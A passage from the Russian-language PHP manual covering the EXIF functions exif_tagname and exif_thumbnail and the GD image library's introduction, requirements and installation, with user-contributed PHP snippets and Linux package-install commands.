        case 4: // vertical flip
            $image->flipImage($public,2);
        break;

        case 5: // vertical flip + 90 rotate right
            $image->flipImage($public, 2);
                $image->rotateImage($public, -90);
        break;

        case 6: // 90 rotate right
            $image->rotateImage($public, -90);
        break;

        case 7: // horizontal flip + 90 rotate right
            $image->flipImage($public,1);
            $image->rotateImage($public, -90);
        break;

        case 8:    // 90 rotate left
            $image->rotateImage($public, 90);
        break;
    }

?>

$image->rotateImage() is inspired by example of http://php.net/manual/en/function.imagerotate.php
$image->flipImage() is inspired by http://php.net/manual/en/function.imagecopy.php#42803 (thank you)
05-Mar-2007 11:50
When reading EXIF information from the 'WINXP' group, you may need to change used encoding from the default "ISO-8859-15" to "UTF-8". This can be done in php.ini or in your code:

<?php
    ini_set('exif.encode_unicode', 'UTF-8');

    $exif = exif_read_data('TEST.JPG', 0, true);
    echo $exif['WINXP']['Title'];
?>

Useful documentation about EXIF:
http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html
See also comments next to XPTitle and XPAuthor.


Получение имени заголовка по его индексу

  • « exif_read_data
  • exif_thumbnail »
  • PHP Manual
  • Exif Функции
  • Получение имени заголовка по его индексу

exif_tagname

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_tagname — Получение имени заголовка по его индексу

Описание

exif_tagname(int $index): string|false

Список параметров

index

ID тега, имя которого требуется получить.

Возвращаемые значения

Возвращает имя заголовка или false, если index не является ранее определённым идентификатором EXIF тега.

Примеры

Пример #1 Пример использования exif_tagname()

<?php
echo "256: ".exif_tagname(256).PHP_EOL;
echo "257: ".exif_tagname(257).PHP_EOL;
?>

Результат выполнения данного примера:

256: ImageWidth
257: ImageLength

Смотрите также

  • exif_imagetype() - Determine the type of an image
  • » EXIF спецификация
  • » EXIF теги

User Contributed Notes

abc at ed48 dot com 22-Jun-2011 10:03
In association with exif_read_data:

<?php

# The tagnames can vary in different cameras

$imgdir = "/path_to_img/";
$img_file = "image_file.jpg";

echo $img_file . "&nbsp;&nbsp;&nbsp;<sub>TEST</sub>
<br />";
echo '<img src="' . $imgdir . $img_file . '" alt="'
 . $img_file . '" title="' . $img_file . '" width="400" /><br /><br />';

$xf_data = exif_read_data($imgdir . $img_file);

$tagg = exif_tagname(0X10F);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X110);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X132);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0XA002);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';
$tagg = exif_tagname(0XA003);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';

?>
abc at ed48 dot com 21-Jun-2011 01:20
Theoretically, 65,535 tags are possible. Although not all are used, yet. The code below lists these tags:

<?php

for ($id = 1; $id <= 65535; $id++)
{
$dec2hex = dechex($id);

$strgx = '0x'. $dec2hex;

if(exif_tagname($strgx) != "")
{
echo $strgx . ' ( ' . exif_tagname($strgx) . ' )<br />';
}
}

?>


Получает встроенное превью изображения

  • « exif_tagname
  • read_exif_data »
  • PHP Manual
  • Exif Функции
  • Получает встроенное превью изображения

exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_thumbnail — Получает встроенное превью изображения

Описание

exif_thumbnail(
resource|string $file,
int &$width = null,
int &$height = null,
int &$image_type = null
): string|false

exif_thumbnail() считывает встроенное превью изображения.

Если вы хотите получить эскиз посредством этой функции, вам необходимо отправить mimetype-информацию, использовав header() функцию.

Иногда exif_thumbnail() не может создать изображение, но может определить его размер. В таких случаях она возвращает false, но задаёт аргументам width и height правильные значения.

Список параметров

file

Местоположение файла с изображением. Может быть как путём к файлу, так и потоковым ресурсом.

width

Возвращаемая ширина эскиза.

height

Возвращаемая высота эскиза.

image_type

Возвращаемый тип эскиза. Это либо TIFF, либо JPEG.

Возвращаемые значения

Возвращает встроенный эскиз или false, если изображение не содержит эскиза.

Список изменений

Версия | Описание
7.2.0 | Параметр file переименован в stream и может принимать как локальный путь к файлу, так и потоковый ресурс.

Примеры

Пример #1 Пример использования exif_thumbnail()

<?php
$image = exif_thumbnail('/path/to/image.jpg', $width, $height, $type);

if ($image!==false) {
header('Content-type: ' .image_type_to_mime_type($type));
echo $image;
exit;
} else {
// нет доступного превью, здесь можно обработать ошибку
echo 'Нет доступного эскиза';
}
?>

Примечания

Замечание:

Если параметр file использован для передачи потока в функцию, то этот поток должен быть перематываемым. Обратите внимание, что файловый позиционный указатель не будет изменён после завершения работы этой функции.

Смотрите также

  • exif_read_data() - Читает заголовки EXIF из файлов изображений
  • image_type_to_mime_type() - Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

User Contributed Notes

thrustvector at &#39;gee&#39;mail dot com 29-Jul-2008 01:40
If you've edited the image with image editing software and it no longer contains an exif thumbnail, I've created a script that will add one back into it, using the "PHP Exif Library": http://pel.sourceforge.net/index.php

<?php
require_once('../PEL/PelJpeg.php');
require_once('../PEL/PelIfd.php');
$fullpath = 'images/DSC_0013c.JPG';  # path of source image (does not contain an exif thumbnail)

$jpeg = new PelJpeg($fullpath);
 $exif = $jpeg->getExif();
 $tiff = $exif->getTiff();
 $ifd0 = $tiff->getIfd();        # need this so that we can later link it to the new IFD

 $ifd1 = $ifd0->getNextIfd();
if (!$ifd1) {        # Only create thumbnail if one doesn't exist (i.e. there is no IFD1)
    $ifd1 = new PelIfd(1);
    $ifd0->setNextIfd($ifd1); # point ifd0 to the new ifd1 (or else ifd1 will not be read)

    $original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
    $orig_w=imagesx($original);
    $orig_h=imagesy($original);
    $wmax = 160;
    $hmax = 120;

    if ($orig_w>$wmax || $orig_h>$hmax) {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h); # maintain aspect ratio
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    }
    else { # only set the thumb's size if the original is larger than 'wmax'x'hmax'
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }

        # create image resource with thumbnail sizing
    $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        ## Resize original and copy to the blank thumb resource
    imagecopyresampled($thumb,$original,
                               0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);

        # start writing output to buffer
    ob_start();
        # outputs thumb resource contents to buffer
    ImageJpeg($thumb);
        # create PelDataWindow from buffer thumb contents (and end output to buffer)
    $window = new PelDataWindow(ob_get_clean());

    if ($window) {

        $ifd1->setThumbnail($window); # set window data as thumbnail in ifd1
        $outpath = $fullpath; # overwrite original jpg file
        file_put_contents($outpath, $jpeg->getBytes()); # write everything to output filename
            # Show thumbnail in file:
        echo '<img src="thumb_exif.php?image='.$outpath.'" border=0 alt="If you see this, it did not work"><br>';

    }
}
else {
    echo 'ifd1 already exists! (IFD1 is where the thumbnail is stored)<br>';
}
?>
<?php # This is the code in thumb_exif.php :
        $imgdat = exif_thumbnail($_REQUEST['image'], $width, $height, $type);
        header('Content-type: ' . image_type_to_mime_type($type));
        echo($imgdat);
?>

If you have a lot of such files, you can easily make a script that searches them out and adds thumbnails to their exif.
Miguel Vitorino 08-Oct-2007 06:37
use this if you want to embed a thumbnail directly on the HTML page without writing it first to a file:

<?php
$image = exif_thumbnail($file, $width, $height, $type);

echo "<img  width='$width' height='$height' src='data:image/gif;base64,".base64_encode($image)."'>";
?>
05-Jan-2007 06:23
If you want to convert from TIFF to JPG you can use ImageMagick if it is installed in your server.

<?php
$exec = 'convert /path/to/file.tiff /path/to/file.jpg 2>&1';
@exec($exec, $exec_output, $exec_retval);

//possible error
print_r($exec_output)
?>
hanspeter dot debets at dendrite dot com 14-Jan-2005 06:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
    <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
    echo("Image contains headers<br><br>");
    echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br>\n";
        }
    }
}
else
{
    echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric 13-Jun-2004 07:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
    print "No Thumbnail!";
  else
    $imgJpeg = imageCreateFromString($imgJpeg);
?>


Псевдоним exif_read_data

  • « exif_thumbnail
  • GD »
  • PHP Manual
  • Exif Функции
  • Псевдоним exif_read_data

read_exif_data

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

read_exif_data — Псевдоним exif_read_data()

Внимание

Псевдоним объявлен УСТАРЕВШИМ в PHP 7.2.0 и УДАЛЁН в PHP 8.0.0.

Описание

Функция является псевдонимом: exif_read_data().

Список изменений

Версия | Описание
7.2.0 | Этот псевдоним был объявлен устаревшим.

User Contributed Notes

There are no user contributed notes for this page.


Обработка изображений и GD

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Создание PNG средствами PHP
    • Добавление водяных знаков на изображения с помощью альфа-каналов
    • Использование imagecopymerge создать полупрозрачный водяной знак
  • Функции GD и функции для работы с изображениями
    • gd_info — Вывод информации о текущей установленной GD библиотеке
    • getimagesize — Получение размера изображения
    • getimagesizefromstring — Получение размера изображения из строки данных
    • image_type_to_extension — Получение расширения файла для типа изображения
    • image_type_to_mime_type — Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
    • image2wbmp — Выводит изображение в браузер или пишет в файл
    • imageaffine — Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения
    • imageaffinematrixconcat — Конкатенирует две аффинные матрицы преобразования
    • imageaffinematrixget — Получает матрицу аффинного преобразования
    • imagealphablending — Задание режима сопряжения цветов для изображения
    • imageantialias — Требуется ли применять функции сглаживания или нет
    • imagearc — Рисование дуги
    • imageavif — Выводит изображение в браузер или пишет в файл
    • imagebmp — Вывести BMP-изображение в браузер или файл
    • imagechar — Рисование символа по горизонтали
    • imagecharup — Рисование символа вертикально
    • imagecolorallocate — Создание цвета для изображения
    • imagecolorallocatealpha — Создание цвета для изображения
    • imagecolorat — Получение индекса цвета пиксела
    • imagecolorclosest — Получение индекса цвета ближайшего к заданному
    • imagecolorclosestalpha — Получение индекса цвета ближайшего к заданному с учётом прозрачности
    • imagecolorclosesthwb — Получение индекса цвета, имеющего заданный тон, белизну и затемнение
    • imagecolordeallocate — Разрыв ассоциации переменной с цветом для заданного изображения
    • imagecolorexact — Получение индекса заданного цвета
    • imagecolorexactalpha — Получение индекса заданного цвета и альфа компонента
    • imagecolormatch — Делает цвета палитровой версии изображения более соответствующими truecolor версии
    • imagecolorresolve — Получает идентификатор конкретного цвета или его ближайший аналог
    • imagecolorresolvealpha — Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог
    • imagecolorset — Установка набора цветов для заданного индекса палитры
    • imagecolorsforindex — Получение цветов, соответствующих индексу
    • imagecolorstotal — Определение количества цветов в палитре изображения
    • imagecolortransparent — Определяет цвет как прозрачный
    • imageconvolution — Наложение искривляющей матрицы 3х3, используя коэффициент и смещение
    • imagecopy — Копирование части изображения
    • imagecopymerge — Копирует часть изображения с наложением
    • imagecopymergegray — Копирует часть изображения с наложением в градациях серого
    • imagecopyresampled — Копирование и изменение размера изображения с ресемплированием
    • imagecopyresized — Копирование и изменение размера части изображения
    • imagecreate — Создание нового палитрового изображения
    • imagecreatefromavif — Создаёт новое изображение из файла или URL
    • imagecreatefrombmp — Создаёт новое изображение из файла или URL
    • imagecreatefromgd2 — Создание нового изображения на основе GD2 или URL
    • imagecreatefromgd2part — Создание нового изображения на основе части GD2 файла или URL
    • imagecreatefromgd — Создание нового изображения на основе GD файла или URL
    • imagecreatefromgif — Создаёт новое изображение из файла или URL
    • imagecreatefromjpeg — Создаёт новое изображение из файла или URL
    • imagecreatefrompng — Создаёт новое изображение из файла или URL
    • imagecreatefromstring — Создание нового изображения из потока представленного строкой
    • imagecreatefromtga — Создаёт новое изображение из файла или URL
    • imagecreatefromwbmp — Создаёт новое изображение из файла или URL
    • imagecreatefromwebp — Создаёт новое изображение из файла или URL
    • imagecreatefromxbm — Создаёт новое изображение из файла или URL
    • imagecreatefromxpm — Создаёт новое изображение из файла или URL
    • imagecreatetruecolor — Создание нового полноцветного изображения
    • imagecrop — Обрезать изображение до заданного прямоугольника
    • imagecropauto — Обрезает изображение автоматически, используя один из доступных режимов
    • imagedashedline — Рисование пунктирной линии
    • imagedestroy — Уничтожение изображения
    • imageellipse — Рисование эллипса
    • imagefill — Заливка
    • imagefilledarc — Рисование и заливка дуги
    • imagefilledellipse — Рисование закрашенного эллипса
    • imagefilledpolygon — Рисование закрашенного многоугольника
    • imagefilledrectangle — Рисование закрашенного прямоугольника
    • imagefilltoborder — Заливка цветом
    • imagefilter — Применяет фильтр к изображению
    • imageflip — Переворачивает изображение, используя выбранный режим
    • imagefontheight — Получение высоты шрифта
    • imagefontwidth — Получение ширины шрифта
    • imageftbbox — Определение границ текста выводимого шрифтом freetype2
    • imagefttext — Нанесение текста на изображение, используя шрифты FreeType 2
    • imagegammacorrect — Применение гамма коррекции к GD изображению
    • imagegd2 — Вывод GD2 изображения в браузер или файл
    • imagegd — Вывод GD-изображения в браузер или в файл
    • imagegetclip — Получить отсекающий прямоугольник
    • imagegetinterpolation — Получает метод интерполяции
    • imagegif — Выводит изображение в браузер или пишет в файл
    • imagegrabscreen — Захватывает изображение с экрана
    • imagegrabwindow — Захватывает изображение окна
    • imageinterlace — Включение или выключение интерлейсинга
    • imageistruecolor — Определяет, является ли изображение полноцветным
    • imagejpeg — Выводит изображение в браузер или пишет в файл
    • imagelayereffect — Установка флага альфа сопряжения для использования эффектов наложения изображений
    • imageline — Рисование линии
    • imageloadfont — Загрузка шрифта
    • imageopenpolygon — Рисует открытый полигон
    • imagepalettecopy — Копирование палитры из одного изображения в другое
    • imagepalettetotruecolor — Преобразует изображение на основе палитры в настоящий цвет
    • imagepng — Вывод PNG изображения в браузер или файл
    • imagepolygon — Рисование многоугольника
    • imagerectangle — Рисование прямоугольника
    • imageresolution — Получить или установить разрешение изображения
    • imagerotate — Поворот изображения с заданным углом
    • imagesavealpha — Сохранять ли полную информацию альфа-канала при сохранении изображений
    • imagescale — Масштабировать изображение по заданной ширине и высоте
    • imagesetbrush — Установка изображения (кисти), посредством которого будут рисоваться линии
    • imagesetclip — Установите прямоугольник ограничения
    • imagesetinterpolation — Устанавливает метод интерполяции
    • imagesetpixel — Рисование точки
    • imagesetstyle — Установка стиля рисования линий
    • imagesetthickness — Установка толщины линий
    • imagesettile — Установка изображения, которое будет использовано в качестве элемента мозаичной заливки
    • imagestring — Рисование строки текста горизонтально
    • imagestringup — Рисование строки текста вертикально
    • imagesx — Получение ширины изображения
    • imagesy — Получение высоты изображения
    • imagetruecolortopalette — Преобразование полноцветного изображения в палитровое
    • imagettfbbox — Получение параметров рамки обрамляющей текст написанный TrueType шрифтом
    • imagettftext — Рисование текста на изображении шрифтом TrueType
    • imagetypes — Возвращает список типов изображений, поддерживаемых PHP сборкой
    • imagewbmp — Выводит изображение в браузер или пишет в файл
    • imagewebp — Вывод изображения WebP в браузер или файл
    • imagexbm — Вывод XBM изображения в браузер или файл
    • iptcembed — Встраивание двоичных IPTC данных в JPEG изображение
    • iptcparse — Разбор двоичных IPTC данных на отдельные теги
    • jpeg2wbmp — Конвертирует изображение из формата JPEG в WBMP
    • png2wbmp — Преобразование PNG файла в WBMP
  • GdImage — Класс GdImage
  • GdFont — Класс GdFont

User Contributed Notes

mhkh1366 at gmail dot com 17-May-2019 06:38
### Attention:
For previewing images created by GD library in php file format in web browser, you should attention these two items:
1_ Make sure that GD is enable in php.ini
2_ Make sure that your php file encoding is ANSI/ASCII or you should use ob_clean() function before changing the header by header() function
herbert dot walde at googlemail dot com 04-Jan-2012 11:41
In case your script is using output-buffering-functions somewhere, then you have to clear the buffer first ( with ob_clear() ), before outputting an image with a function like imagepng().

And you should make sure that no buffer will get send after outputing an image by using the ob_end_flush()-function.

Furthermore you should check if a buffer has already been flushed somewhere before. This can be done using the headers_sent()-function.

Here is the full solution:

<?php
if(headers_sent()){
    die('Headers have been send somewhere within my script');
}

ob_clean(); //Clears the buffer

header('Content-type: image/png');
imagepng($img, NULL, 0,  NULL);

ob_end_flush(); //Now we send the header and image plus we make sure that nothing will get send from now on (including possible shutdown-functions and __destruct()-methods) till the end of page-execution
?>
donatj at gmail dot com 12-Jul-2011 01:43
UTF-8 is fine with GD - as well as any other Unicode transformation format - you just need to ensure your saved file doesn't contain the dreaded byte order mark.
kurdtpage at gmail dot com 27-Apr-2011 10:53
When using GD, please make sure of the following things:

1. The file that is used to manipulate images is saved as ANSI format and not UTF-8
2. There is no space in front of the opening tag <?php
mail at ecross dot nl 03-Apr-2010 07:31
hello there,
i made a function to create a gradient image.

description:
gradient(int image_width, int image_height,
int start_red, int start_green, int start_blue,
int end_red, int end_green, int end_blue,
bool vertical)

function:
<?php
function gradient($image_width, $image_height,$c1_r, $c1_g, $c1_b, $c2_r, $c2_g, $c2_b, $vertical=false)
{
// first: lets type cast;
$image_width = (integer)$image_width;
$image_height = (integer)$image_height;
$c1_r = (integer)$c1_r;
$c1_g = (integer)$c1_g;
$c1_b = (integer)$c1_b;
$c2_r = (integer)$c2_r;
$c2_g = (integer)$c2_g;
$c2_b = (integer)$c2_b;
$vertical = (bool)$vertical;

// create a image
$image  = imagecreatetruecolor($image_width, $image_height);

// make the gradient
for($i=0; $i<$image_height; $i++)
{
$color_r = floor($i * ($c2_r-$c1_r) / $image_height)+$c1_r;
$color_g = floor($i * ($c2_g-$c1_g) / $image_height)+$c1_g;
$color_b = floor($i * ($c2_b-$c1_b) / $image_height)+$c1_b;

$color = ImageColorAllocate($image, $color_r, $color_g, $color_b);
imageline($image, 0, $i, $image_width, $i, $color);
}

# Prints out all the figures and picture and frees memory
header('Content-type: image/png');

if($vertical){$image = imagerotate($image, 90, 0);}
ImagePNG($image);
imagedestroy($image);
}
?>
Thomas 10-Dec-2008 02:05
You know, maybe this goes without saying, but I thought I would drop a note in here.  When developing code to resize images, it is best not to use GD.  When using the current GD methodologies, you are reading content from an image and manipulating it.  By then writing that content to a brand new file, you are losing the EXIF data.

For purposes when you want to retain EXIF data, it is recommended that you compile in and use the PECL Imagick extension.  It has great resizing methods built right in and the EXIF data is retained.
code at ashleyhunt dot co dot uk 23-Oct-2008 06:02
I have been looking to send the output from GD to a text string without proxying via a file or to a browser.

I have come up with a solution.

This code buffers the output between the ob_start() and ob_end() functions into ob_get_contents()

See the example below

<?php
// Create a test source image for this example
$im = imagecreatetruecolor(300, 50);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// start buffering
ob_start();
// output jpeg (or any other chosen) format & quality
imagejpeg($im, NULL, 85);
// capture output to string
$contents = ob_get_contents();
// end capture
ob_end_clean();

// be tidy; free up memory
imagedestroy($im);

// lastly (for the example) we are writing the string to a file
$fh = fopen("./temp/img.jpg", "a+" );
    fwrite( $fh, $contents );
fclose( $fh );
?>

Enjoy!
Ashley


Введение

PHP не ограничен созданием только HTML страничек. Он так же позволяет создавать и работать с файлами изображений в различных форматах включая GIF, PNG, JPEG, WBMP, и XPM. Что более удобно, PHP позволяет выводить изображение в потоке непосредственно в браузер. Для этого необходимо скомпилировать PHP с графической библиотекой GD, содержащей функции для работы с изображениями. Для работы с GD могут потребоваться другие библиотеки (в зависимости от формата изображений, с которыми возникла необходимость работать).

Существует стандартная функция PHP для получения размера изображения следующих форматов изображений: JPEG, GIF, PNG, SWF, TIFF и JPEG2000.

С модулем EXIF доступна работа с информацией, хранящейся в заголовках JPEG и TIFF изображений. Таким образом можно читать мета-данные, сгенерированные цифровыми фотоаппаратами. Модуль EXIF не требуется библиотеке GD.

Замечание: Прочитайте раздел требований, чтобы узнать, как расширить возможности чтения, записи и модификации изображений. Чтобы иметь возможность читать мета-данные изображений, взятых с цифровых фотоаппаратов нужно, уже упомянутый модуль EXIF.

Замечание: Функция getimagesize() не требует наличия библиотеки GD.

Предостережение

Тогда как поставляемая с PHP библиотека GD использует менеджер памяти Zend, то системная нет. Соответственно ограничение memory_limit не работает.

GD поддерживает ряд форматов. Ниже приведён список этих форматов и пометки о доступности, включая поддержку чтения и записи.

Форматы, поддерживаемые GD
Формат | Поддержка чтения | Поддержка записи | Примечания
JPEG | true | true |
PNG | true | true |
GIF | true | true |
XBM | true | true |
XPM | true | false |
WBMP | true | true |
WebP | true | true |
BMP | true | true | Доступно, начиная с PHP 7.2.0

Несмотря на то, что большинство форматов в приведённой таблице доступны для чтения и записи, это не значит, что PHP был собран с их поддержкой. Чтобы узнать какие форматы были включены для GD при сборке, используйте функцию gd_info(). Для дополнительной информации смотрите раздел об установке.

User Contributed Notes

gamesparamundo123 at gmail dot com 28-Feb-2020 01:27
The EXIF extension has been updated to support a much larger range of formats. This means that their format specific tags are now properly translated when parsing images with the exif_read_data() function. The following new formats are now supported:

Samsung
DJI
Panasonic
Sony
Pentax
Minolta
Sigma/Foveon
AGFA
Kyocera
Ricoh
Epson
The EXIF functions exif_read_data() and exif_thumbnail() now support passing streams as their first argument.


Требования

При наличии GD-библиотеки (доступна по адресу » http://www.libgd.org/), вы можете создавать и изменять изображения.

Форматы изображений, с которыми можно работать, зависят от версии установленной GD, а так же от наличия других библиотек, к которым GD может обращаться для получения доступа к тем или иным форматам.

Замечание: Требуется libgd-2.1.0 или выше. Либо же используйте библиотеку GD, входящую в дистрибутив PHP.

Замечание: Для работы библиотеки GD требуется zlib >= 1.2.0.4.

Возможно, вы пожелаете расширить GD, чтобы обрабатывать больше форматов изображений.

Поддерживаемые форматы изображений
Формат изображения | Необходимая библиотека | Замечания
gif |  |
jpeg | » http://www.ijg.org/ | При сборке библиотеки jpeg (перед сборкой PHP) необходимо включить настройку --enable-shared на этапе конфигурирования. Если этого не сделать, на этапе конфигурирования сборки PHP будет выдана ошибка libjpeg.(a|so) not found.
png | » http://www.libpng.org/pub/png/libpng.html |
xpm | » http://www.ibiblio.org/pub/Linux/libs/X/!INDEX.html | Если в системе установлено окружение X-Environment, то библиотека уже доступна.

Можно расширить функциональность GD для работы с различными шрифтами. Поддерживается библиотека » FreeType 2.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Чтобы включить поддержку GD сконфигурируйте PHP с опцией --with-gd[=DIR], где DIR — это директория установки GD. Чтобы использовать рекомендованную разработчиками встроенную версию библиотеки GD, используйте опцию конфигурации --with-gd. Библиотека GD требует наличие библиотек libpng и libjpeg для компиляции. Начиная с PHP 7.4.0, --with-gd становится --enable-gd (нужно ли вообще включать модуль) и --with-external-gd (чтобы выбрать использование внешнего libgd, а не встроенного).

В Windows-системах, вы должны включить модуль GD DLL php_gd.dll в php.ini. До PHP 8.0.0, DLL-файл назывался php_gd2.dll.

Повысить возможности библиотеки GD для работы с большим количеством форматов изображений можно, используя опцию --with-XXXX во время конфигурации PHP.

Поддерживаемые форматы изображений
Формат изображения | Опция при конфигурировании
jpeg | Чтобы включить поддержку jpeg добавьте --with-jpeg-dir=DIR. Jpeg 6b, 7 или 8 поддерживаются. Начиная с PHP 7.4.0, используйте вместо этого --with-jpeg.
png | Чтобы включить поддержку png добавьте --with-png-dir=DIR. Внимание, libpng требует наличие библиотеки zlib, поэтому добавьте --with-zlib-dir[=DIR] при конфигурации. Начиная с PHP 7.4.0, были удалены --with-png-dir и --with-zlib-dir. Теперь libpng и zlib обязательны.
xpm | Чтобы включить поддержку xpm добавьте --with-xpm-dir=DIR. Если во время конфигурации не удаётся найти необходимую библиотеку, можно указать путь к библиотеке X11. Начиная с PHP 7.4.0, используйте вместо этого --with-xpm.
webp | Чтобы включить поддержку webp, добавьте --with-webp-dir=DIR.

Замечание: При компиляции PHP с libpng, вы должны использовать ту же версию libpng, с которой была собрана библиотека GD.

Повысить возможности библиотеки GD для работы с различными шрифтами можно, используя опцию --with-XXXX во время конфигурации PHP.

Поддерживаемые библиотеки шрифтов
Библиотека шрифтов | Опция при конфигурировании
FreeType 2 | Чтобы включить поддержку FreeType 2 добавьте --with-freetype-dir=DIR. Начиная с PHP 7.4.0, используйте вместо этого опцию --with-freetype , которая зависит от pkg-config.
Native TrueType string function | Чтобы включить поддержку Native TrueType string function добавьте --enable-gd-native-ttf. (Параметр не имеет никакого эффекта и был удалён в PHP 7.2.0.)

User Contributed Notes

oskari at cellarcode dot com 21-Jun-2023 02:54
Note if you have php-fpm installed, you have to restart the service for the installation to show up in phpinfo output...

systemctl restart php-fpm (or equivalent)
Parmjit Singh 22-Feb-2021 01:48
Installation on Pop-os No need for php5 or php7.0 etc:

sudo apt install php-gd
omni at ominsapien dot com 31-Jan-2021 04:04
Hello. Does GD image processing allow for color spaces / color profiles to be defined or maintained from the source image? For example, if I upload a jpg with ProPhoto RGB color space with the embedded profile, will all of the subsequent processed images that are output maintain the profile? Or is there no profile and or is it changed to sRGB?

Same question goes for ImageMagick.

Thank you so much!
tecknovice at gmail dot com 24-Mar-2020 08:36
currently is php7.2-gd

sudo apt install php7.2-gd
Gabriel Torres 09-Feb-2020 10:52
As of PHP 7.4, to enable GD you have to use --enable-gd instead of --with-gd
nordin74 11-Jan-2020 07:40
Since 7.4 replace "--with-gd" by "--enable-gd"
abdulbasitsaeed 19-Mar-2019 04:28
To install PHP GD extension on an Amazon Linux AMI server, with php 7:

sudo yum install php 70-gd

Do remember to restart Apache after the installation!

sudo service httpd restart
fabrizzio at webtux dot cl 19-Oct-2018 11:22
php --version if result is 7.2 version

sudo apt-get install php7.2-gd
remalsha at gmail dot com 13-Feb-2018 07:22
On AntergosOS ( Arch linux )

*first run >>php -v   and get current php version. In my case for PHP 7.1.14

      sudo pacman -S php71-gd

then restart you apache server using,

      sudo systemctl restart httpd
Qussayyon Qamaron: Qusai.zf2@gmailcom 25-Mar-2017 05:07
#install under Ubuntu 16.04:
    * if you have access to PHP7.1:
        <sudo> apt install php7.1-gd && <sudo> systemctl restart apache2
    * if you have access to PHP7.0:
        <sudo> apt install php7.0-gd && <sudo> systemctl restart apache2

------------------------------------------------
Qussayyon Qamaron: Qusai.zf2gmailcom
theonestep4 at gmail dot com 13-Dec-2016 05:00
To install on CentOS:

yum install php-gd
Anonymous 03-Nov-2016 12:52
For all who use php 7 and ubuntu

sudo apt-get install php7.0-gd
Mike K 30-Mar-2016 07:16
On Ubuntu I was missing the libpng-dev, libjpeg-dev (and in my case) libwebp-dev libraries, all gettable with apt-get.

Also once those libraries are installed, including --with-png-dir --with-jpeg-dir --with-webp-dir, without any values (i.e. =/dir) appeared to be valid ... though admittedly I didn't try without (in case the configure script autodetected them).
svestka1999 at gmail dot com 22-Feb-2016 06:20
Instructions how to compile bundled version on Linux:
http://stackoverflow.com/questions/35560150/php-gd-bundled-extension-without-recompiling-php-solution
leyluj21 at gmail dot com 23-Oct-2014 09:58
If you are using PHPBREW , the extension is called gd.
So you do.
```
phpbrew ext install gd
```

It will compile the extension to the core.
james dot a dot munsch at gmail dot com 05-Sep-2014 10:19
sudo apt-get install php5-gd && sudo service apache2 restart

To install under Ubuntu 14.04.
alejo dot jm at gmail dot com 20-Jul-2012 06:47
On Macox lion with mac port just use:
sudo port install php5-gd
florian 31-Jul-2011 02:50
People having difficulties setting the --with-libdir option needs to set it like this :

--with-libdir=lib64

That option works fine. Doing --with-libdir=/usr/lib64 doesn't work because the configure script prepends the --prefix option before the --with-libdir option. So, doing --with-libdir=/usr/lib64 makes the configure script to look for libs in /usr/usr/lib64, which is wrong of course, and not in /usr/lib64.
Joseph Marlin 23-Jun-2011 06:07
I also had to install the libgd package in addition to php5-gd:

sudo apt-get install libgd2-xpm-dev*
octopus at logicaloctopus dot com 17-Apr-2011 12:07
I was running PHP on a SUSE box on amazon EC2.
to get gd to work all I had to do was to run:
> yast -i php5_gd

and when that completed I just restarted apache. voila!
boly38 at gmail dot com 17-Mar-2011 05:25
To get GD bundled under Ubuntu, the way to recompile php5 with gd is described here (french) http://doc.ubuntu-fr.org/modules_php#php5-gd
elassoto at hotmail dot com 10-Sep-2010 01:54
If you have already compiled PHP and want to recompile '--with-gd', don't forget to run 'make clean' first!
msc at homofaber dot com 30-Oct-2008 07:45
It should be noted that it might be pretty easy to install gd without the need to recompile php, when using debian:

apt-get install php5-gd


Настройка во время выполнения

